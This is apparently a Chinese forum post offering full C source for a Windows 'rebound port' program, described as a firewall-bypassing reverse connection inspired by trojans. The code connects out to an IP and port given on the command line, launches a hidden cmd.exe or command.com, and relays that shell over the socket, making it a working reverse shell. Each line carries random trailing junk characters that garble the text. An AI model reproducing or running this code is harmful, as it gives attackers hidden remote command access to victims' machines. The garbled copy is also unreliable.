这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 gXJBb+P
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/* ============================== IEMa/[n/
Rebound port in Windows NT 7J!s"|VS
By wind,2006/7 YrB-n
===============================*/ Hd\V?#H
#include w2'q9pB+
#include }#7rg_O]>
; Byt'S
#pragma comment(lib,"wsock32.lib") #$x,PeG
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void OutputShell(); ]i$0s
SOCKET sClient; BEvY&3%l
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; t4[q:[1
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void main(int argc,char **argv) lz~^*\ F
{ Y~85Z0l
WSADATA stWsaData; 2cH RiRT
int nRet; >&KH!:OX|
SOCKADDR_IN stSaiClient,stSaiServer; 1o%#kf
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if(argc != 3) ZBK0`7#&EH
{ $Dj8 a\L
printf("Useage:\n\rRebound DestIP DestPort\n"); M7cD!s@'I
return; c
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} iX]OF.:
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WSAStartup(MAKEWORD(2,2),&stWsaData); N*}soMPV^.
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _d5:Y
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stSaiClient.sin_family = AF_INET; aC\f;&P>
stSaiClient.sin_port = htons(0); e^>>"tr
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $G9LaD#;M
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) p{^:b6
{ N7_eLhPt*8
printf("Bind Socket Failed!\n"); kk-<+R2
return; kg]6q T;Y
} (4cdkL
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stSaiServer.sin_family = AF_INET; !Ud'(iGa
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); DJ, LQj
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); C!*!n^qA
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) FfJ;r'eGs
{ EVX3uC}{
printf("Connect Error!"); )OV0YfO
return; 5;/n`Bd
} !Zj]0,^
OutputShell(); .P)lQk\
} Snf_{A<
@./h$]6
void OutputShell() wc;n=
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{ kL*P 3
0
char szBuff[1024]; S\).0goOW
SECURITY_ATTRIBUTES stSecurityAttributes; +)sX8zb*gY
OSVERSIONINFO stOsversionInfo; W\~^*ny
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; \;X7DK2
STARTUPINFO stStartupInfo; y!#-[K:
char *szShell; FOXSs8"c]!
PROCESS_INFORMATION stProcessInformation; B}iEhWO6
unsigned long lBytesRead; k7CKl;Fck
q Q\j
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); =8\.fp
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); :-1|dE)U
stSecurityAttributes.lpSecurityDescriptor = 0; 7)lEZJK&T
stSecurityAttributes.bInheritHandle = TRUE; *S.U8;*Xj
R*[sO*h\k
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); yq%5h[M
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); DzAZv/h76
e}UQN:1
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); bF"l0
jS
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UT<e/
stStartupInfo.wShowWindow = SW_HIDE; 4Z)s8sD KW
stStartupInfo.hStdInput = hReadPipe; )E}v~GW.+
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; <CyU9`ye
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GetVersionEx(&stOsversionInfo); 928_e)V
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switch(stOsversionInfo.dwPlatformId) :$WO"HfMSn
{ m@Z#
case 1: OIcXelS:@k
szShell = "command.com"; AFrJzh:V[
break; mO>L]<O
default: my?Ly(#
szShell = "cmd.exe"; p#@ #$u-
break; aGD< #]
} k#].nQG
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); p`"k=tZ{
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send(sClient,szMsg,77,0); NAR6q{c
while(1) pXk^EV0
{ =Hi@q
"
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); s2<!Zb4
if(lBytesRead) 7r:h_r-
{ Su#0F0
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /F0q8j0
send(sClient,szBuff,lBytesRead,0); @>2pY_
} b($hp%+yJ
else H"A%mrb
{ ]fyfL|(;
lBytesRead=recv(sClient,szBuff,1024,0); ={BD*=i
if(lBytesRead<=0) break; $L/`nd
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); p+d-7'?I
} /"{d2
} }9fa]D-a?
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return; F? #3
}